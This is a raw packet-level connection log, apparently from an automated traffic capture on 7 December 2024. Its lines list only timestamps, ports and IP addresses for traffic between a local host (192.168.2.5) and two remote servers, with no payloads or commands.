Dec 7, 2024 08:43:36.546937943 CET	443	49768	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.546972990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.546994925 CET	49768	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.547009945 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.547076941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.547115088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.547221899 CET	49767	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.547235012 CET	443	49767	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.547317028 CET	49768	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.547327042 CET	443	49768	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.548360109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.548417091 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.548450947 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.548495054 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.549355984 CET	443	49764	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.549413919 CET	443	49764	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.549458981 CET	49764	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.549520969 CET	49764	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.549529076 CET	443	49764	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.549544096 CET	49764	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.549547911 CET	443	49764	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.549757957 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.549777031 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.549794912 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.549808025 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.551196098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.551234961 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.551316023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.551348925 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.551641941 CET	49769	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.551661968 CET	443	49769	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.551722050 CET	49769	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.551820993 CET	49769	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.551831961 CET	443	49769	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.552540064 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.552583933 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.552690983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.552759886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.553908110 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.553960085 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.554030895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.554071903 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.555329084 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.555377960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.555409908 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.555453062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.556122065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.556159973 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.556248903 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.556288958 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.556962013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.557001114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.557173967 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.557481050 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.557805061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.557845116 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.557903051 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.557944059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.558655977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.558705091 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.558734894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.558774948 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.559508085 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.559551954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.559583902 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.559695959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.560316086 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.560355902 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.560425043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.560460091 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.561171055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.561213017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.561284065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.561321974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.562019110 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.562058926 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.562124014 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.562160015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.562859058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.562896967 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.562959909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.562998056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.563718081 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.563769102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.563776016 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.563807964 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.564553022 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.564593077 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.564654112 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.564696074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.565416098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.565455914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.565476894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.565512896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.566246033 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.566287994 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.566351891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.566390991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.567073107 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.567125082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.567184925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.567225933 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.567923069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.567967892 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.568039894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.568080902 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.568758965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.568795919 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.691230059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.691268921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.691315889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.691333055 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.691627979 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.691673994 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.691781044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.691826105 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.691934109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.691981077 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.692671061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.692718983 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.692795038 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.692842960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.693526030 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.693574905 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.693620920 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.693665981 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.694343090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.694391966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.694550037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.694597960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.695189953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.695240974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.695322990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.695369959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.696297884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.696346998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.696418047 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.696465015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.696873903 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.696923018 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.697056055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.697104931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.697698116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.697745085 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.697818995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.697866917 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.698524952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.698575020 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.698643923 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.698692083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.699381113 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.699428082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.699455023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.699498892 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.700285912 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.700337887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.700397015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.700442076 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.701119900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.701164007 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.701184034 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.701225996 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.701951981 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.702001095 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.702086926 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.702135086 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.702783108 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.702832937 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.702888012 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.702934980 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.703608990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.703654051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.703716993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.703762054 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.704425097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.704469919 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.704547882 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.704592943 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.705307007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.705358982 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.705391884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.705430984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.706226110 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.706274033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.706351042 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.706393003 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.707003117 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.707053900 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.707123041 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.707170010 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.707849026 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.707897902 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.707931995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.707976103 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.708699942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.708748102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.708811045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.708857059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.710741043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.710791111 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.710798979 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.710810900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.710843086 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.710864067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.710923910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.710969925 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.711246967 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.711296082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.711354017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.711400032 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.712057114 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.712104082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.712176085 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.712224007 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.712943077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.712992907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.713279963 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.713330030 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.713733912 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.713783026 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.713824034 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.713870049 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.714606047 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.714653969 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.714656115 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.714696884 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.715517044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.715567112 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.715766907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.715812922 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.716301918 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.716350079 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.716438055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.716486931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.717122078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.717170954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.717252970 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.717298985 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.717952013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.718004942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.718095064 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.718143940 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.718900919 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.718949080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.719031096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.719080925 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.719667912 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.719708920 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.719826937 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.719871044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.720505953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.720551014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.720638990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.720685959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.721338034 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.721383095 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.721467972 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.721513987 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.722209930 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.722259045 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.722311020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.722358942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.723046064 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.723093033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.723186016 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.723232031 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.723884106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.723931074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.723993063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.724034071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.724710941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.724761963 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.724838018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.724888086 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.725651979 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.725702047 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.725780010 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.725828886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.726389885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.726434946 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.726514101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.726555109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.727256060 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.727304935 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.727351904 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.727396011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.728260994 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.728307009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.728481054 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.728524923 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.728993893 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.729006052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.729044914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.729788065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.729839087 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.729892969 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.729942083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.730624914 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.730673075 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.730758905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.730808020 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.731446981 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.731493950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.731578112 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.731625080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.732347965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.732397079 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.732470989 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.732518911 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.733190060 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.733236074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.733308077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.733354092 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.733999968 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.734050035 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.734112978 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.734160900 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.734853029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.734895945 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.734976053 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.735019922 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.883409977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.883488894 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.883524895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.883570910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.883735895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.883786917 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.883872986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.883915901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.884691000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.884738922 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.884815931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.884865999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.885453939 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.885507107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.885565996 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.885612011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.899388075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.899441004 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.899466038 CET	80	49759	185.215.113.206	192.168.2.5
